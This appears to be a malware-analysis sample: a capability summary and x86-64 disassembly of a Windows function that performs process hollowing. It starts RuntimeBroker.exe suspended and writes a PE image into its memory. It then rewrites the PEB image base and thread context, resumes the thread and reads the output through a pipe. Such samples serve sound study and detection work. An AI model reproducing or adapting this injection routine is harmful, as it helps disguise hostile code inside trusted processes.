Function at 0x1400012e0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Enumerate pe sections
Read file on windows
Read pipe
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x500], rax
mov r12, rdx
lea rcx, [rbp + 0x30]
xor edx, edx
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov qword [rbp - 0x78], 0x18
xor r15d, r15d
mov qword [rbp - 0x68], 1
xor eax, eax
mov qword [rbp + 0x28], r15
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
lea rdi, [rsp + 0x68]
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp + 0x10], rax
mov ecx, 0x18
rep stosb byte [rdi], al
movups xmmword [rbp - 0x40], xmm0
lea rdi, [rbp - 0x50]
mov ecx, 0x68
movups xmmword [rbp - 0x30], xmm0
xor r9d, r9d
lea r8, [rbp - 0x78]
movups xmmword [rbp - 0x20], xmm0
lea rdx, [rbp - 0x60]
mov qword [rsp + 0x60], r15
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp - 0x60], r15
movups xmmword [rbp], xmm0
mov qword [rbp - 0x80], r15
rep stosb byte [rdi], al
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x58], r15
mov qword [rbp - 0x70], r15
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1400013be
lea rbx, str.CreatePipe_In
jmp 0x1400013df
xor r9d, r9d
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x14000140c
lea rbx, str.CreatePipe_Out
lea rdi, str._____s_Failed_With_Error:__d_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
mov rcx, rdi
mov r8d, eax
call fcn.140001010
lea rcx, str.____AnonPipeCreate_Failed
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
jmp 0x14000199a
lea rcx, str.___Created_I_O_for_the_target_process_n
call fcn.140001010
mov rax, qword [rsp + 0x60]
lea rcx, str.ntdll.dll
or dword [rbp - 0x14], 0x101
mov qword [rbp], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp + 0x10], rax
mov qword [rbp + 8], rax
mov dword [rbp - 0x50], 0x68
mov word [rbp - 0x10], r15w
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlAllocateHeap
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005660], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x2a]
call qword [0x140005660]
mov rdi, rax
test rax, rax
jne 0x140001497
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.AllocateHeap
jmp 0x14000198b
lea r9, str.coffee_exit
mov rcx, rdi
lea r8, str.C:WindowsSystem32RuntimeBroker.exe
lea rdx, str._s__s
call fcn.140001070
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp - 0x50]
mov rdx, rdi
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001508
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003498]
jmp 0x14000198b
mov edx, dword [rsp + 0x78]
lea rcx, str.___Created_target_process:__ld_n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rdi, dword [r12 + 0x3c]
add rdi, r12
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
cmp dword [rdi], reloc.KERNEL32.dll_SetUnhandledExceptionFilter
je 0x140001559
lea rcx, str.____Invalid_NT_Image_Headers_n
call fcn.140001010
jmp 0x14000199a
mov rdx, qword [rdi + 0x30]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x50], rdx
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x14000159b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400034f0]
jmp 0x14000198b
mov rdx, rax
lea rcx, str.___Allocate_image_base_address____p_n
call fcn.140001010
mov rdx, qword [rsp + 0x50]
cmp rdx, qword [rdi + 0x30]
je 0x1400015c6
lea rcx, str.____Remote_Base_Address_not_equal_preferred_base_address__abort__n
call fcn.140001010
jmp 0x14000199a
mov r9d, dword [rdi + 0x54]
lea rax, [rbp + 0x28]
mov rcx, qword [rsp + 0x68]
mov r8, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000197e
mov eax, dword [rdi + 0x54]
cmp rax, qword [rbp + 0x28]
jne 0x14000197e
movzx r13d, word [rdi + 0x14]
mov r14d, r15d
add r13, 0x18
add r13, rdi
cmp r15w, word [rdi + 6]
jae 0x140001692
lea rbx, [r13 + 0xc]
mov eax, dword [rbx + 4]
mov r8d, dword [rbx + 8]
mov esi, dword [rbx]
add r8, r12
add rsi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
mov rdx, rsi
mov qword [rbp + 0x28], r15
mov r15d, eax
lea rax, [rbp + 0x28]
mov r9d, r15d
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000197e
mov r9, qword [rbp + 0x28]
cmp r15, r9
jne 0x14000197e
movsxd rax, r14d
mov r8, rsi
lea rcx, [rax + rax*4]
lea rdx, [rcx*8]
add rdx, r13
lea rcx, str.______s____p___llu_bytes_written__n
call fcn.140001010
movzx eax, word [rdi + 6]
inc r14d
add rbx, 0x28
mov r15d, 0
cmp r14d, eax
jl 0x140001614
lea rcx, str.___Written_sections_into_remote_target_process
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x30]
mov dword [rbp + 0x60], 0x10001f
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400016cb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x1400035e8]
jmp 0x14000198b
mov rdx, qword [rbp + 0xb8]
lea rax, [rbp + 0x28]
mov rcx, qword [rsp + 0x68]
lea r8, [rsp + 0x50]
add rdx, 0x10
mov qword [rbp + 0x28], r15
mov r9d, 8
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000197e
cmp qword [rbp + 0x28], 8
jne 0x14000197e
lea rcx, str.___Updated_Peb.ImageBaseAddress_of_target_process
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ebx, r15d
cmp r15w, word [rdi + 6]
jae 0x1400017f5
mov r12d, 2
lea rsi, [r13 + 0x10]
lea r13d, [r12 + 0xe]
lea r8d, [r12 + 0x7e]
lea r10d, [r12 + 0x1e]
lea r11d, [r12 + 0x3e]
lea r14d, [r12 + 2]
nop word [rax + rax]
mov ecx, dword [rsi + 0x14]
mov r9d, ecx
mov edx, dword [rsi - 4]
mov eax, ecx
add rdx, qword [rsp + 0x50]
sar r9d, 0x1f
and r9d, 8
bt ecx, 0x1e
cmovb r9d, r12d
and eax, 0xc0000000
cmp eax, 0xc0000000
mov eax, ecx
cmove r9d, r14d
bt ecx, 0x1d
cmovb r9d, r13d
and eax, 0xa0000000
cmp eax, 0xa0000000
mov eax, ecx
cmove r9d, r8d
mov r8d, dword [rsi]
and eax, 0x60000000
cmp eax, 0x60000000
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
cmove r9d, r10d
and ecx, 0xe0000000
cmp ecx, 0xe0000000
mov rcx, qword [rsp + 0x68]
cmove r9d, r11d
mov dword [rbp + 0x20], r9d
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001836
movzx eax, word [rdi + 6]
mov r8d, 0x80
inc ebx
add rsi, 0x28
lea r10d, [r8 - 0x60]
lea r11d, [r8 - 0x40]
cmp ebx, eax
jl 0x140001750
lea rcx, str.___Updated_remote_section_protections
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov eax, dword [rdi + 0x28]
lea rdx, [rbp + 0x30]
add rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
mov qword [rbp + 0xb0], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140001848
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003678]
jmp 0x14000198b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003638]
jmp 0x14000198b
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x14000186a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003690]
jmp 0x14000198b
mov rbx, qword [rbp - 0x80]
nop
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x20], r15d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov edi, dword [rbp + 0x20]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlAllocateHeap
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005660], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [0x140005660]
mov rdi, rax
test rax, rax
je 0x14000199a
mov r8d, dword [rbp + 0x20]
xor r9d, r9d
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001941
mov rcx, rdi
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlFreeHeap
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005668], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov edx, 8
mov rcx, rax
call qword [0x140005668]
jmp 0x140001870
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlFreeHeap
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005668], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov edx, 8
mov rcx, rax
call qword [0x140005668]
jmp 0x14000199a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003578]
mov r8d, eax
lea rcx, str._____s_Failed_With_Error:__d_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.140001a70
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret